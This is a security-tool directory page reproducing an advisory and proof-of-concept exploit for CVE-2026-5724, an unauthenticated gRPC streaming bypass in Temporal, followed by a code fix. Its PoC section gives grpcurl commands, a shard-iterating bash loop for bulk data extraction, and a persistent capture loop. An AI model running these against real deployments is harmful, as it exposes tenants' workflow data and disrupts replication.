Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5724 — Proof-of-concept exploit for CVE-2026-5724, an authentication bypass in Temporal's frontend gRPC service allowing unauthenticated access to workflow replication data. | Kitploit
Tools/GitHubGitHub/tibrn/cve-2026-5724
Vulnerability AnalysisExploitationWeb SecurityAuthenticationAPI Security
GitHubtibrn/cve-2026-5724

CVE-2026-5724

Proof-of-concept exploit for CVE-2026-5724, an authentication bypass in Temporal's frontend gRPC service allowing unauthenticated access to workflow replication data.

View Repository
84 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Summary

The Temporal frontend service does not enforce authentication on streaming gRPC RPCs. The streaming interceptor chain omits the authorization interceptor, allowing unauthenticated callers to access AdminService/StreamWorkflowReplicationMessages, a privileged admin-only endpoint that streams workflow replication data across all namespaces.

Details

The frontend gRPC server at service/frontend/fx.go configures two interceptor chains. The streaming chain only includes telemetryInterceptor.StreamIntercept for metrics and no auth:

https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/service/frontend/fx.go#L292-L294

The authorization.Interceptor type only implements a unary interceptor method (Intercept). No streaming equivalent exists. The frontend's only streaming RPC is AdminService/StreamWorkflowReplicationMessages, which according to https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 should require {Scope: ScopeCluster, Access: AccessAdmin}. The streaming call reaches the handler at admin_handler.go:1904 with no authorization, where it proxies directly to the internal history service's replication endpoint.

PoC

Take a Temporal deployment exposing the frontend gRPC API.

Call the streaming AdminService RPC without any credentials:

root@kitploit:~
grpcurl -max-time 15 \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

# Stream connects. Server responds with replication state including
# exclusiveHighWatermark per shard. During active replication, the
# response contains serialized workflow history events:
# {
#   "messages": {
#     "replicationTasks": [{
#       "namespaceId": "...",
#       "workflowId": "...",
#       "runId": "...",
#       "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
#       ...
#     }],
#     "exclusiveHighWatermark": "148293"
#   }
# }

To iterate all shards and extract data at scale:

root@kitploit:~
#!/usr/bin/env bash
set -euo pipefail

TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"   
CLUSTER_ID="${3:-1}"       # initialFailoverVersion: 1=active, 2=failover

ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"

for SHARD in $(seq 1 "${NUM_SHARDS}"); do
  grpcurl -max-time 10 \
    -H "temporal-client-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-client-shard-id: ${SHARD}" \
    -H "temporal-server-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-server-shard-id: ${SHARD}" \
    -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
    "${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done

To hold the stream open persistently and capture replication events in real-time:

root@kitploit:~
(
  while true; do
    echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
    sleep 5
  done
) | grpcurl -d @ \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

Impact

An attacker with access to the frontend can read workflow replication data across all namespaces and tenants — workflow IDs, run IDs, history events, activity payloads without any credentials. The attacker can also interfere with cross-datacenter replication by sending SyncReplicationState messages, and gains a bridge to the internal history service which is normally never exposed externally.

Solution

Implement a StreamServerInterceptor on authorization.Interceptor and add it to the streaming chain at service/frontend/fx.go:292-296:

root@kitploit:~
streamInterceptor := []grpc.StreamServerInterceptor{
    telemetryInterceptor.StreamIntercept,
    authInterceptor.StreamIntercept,  // enforce auth on streaming RPCs
}
Download Tool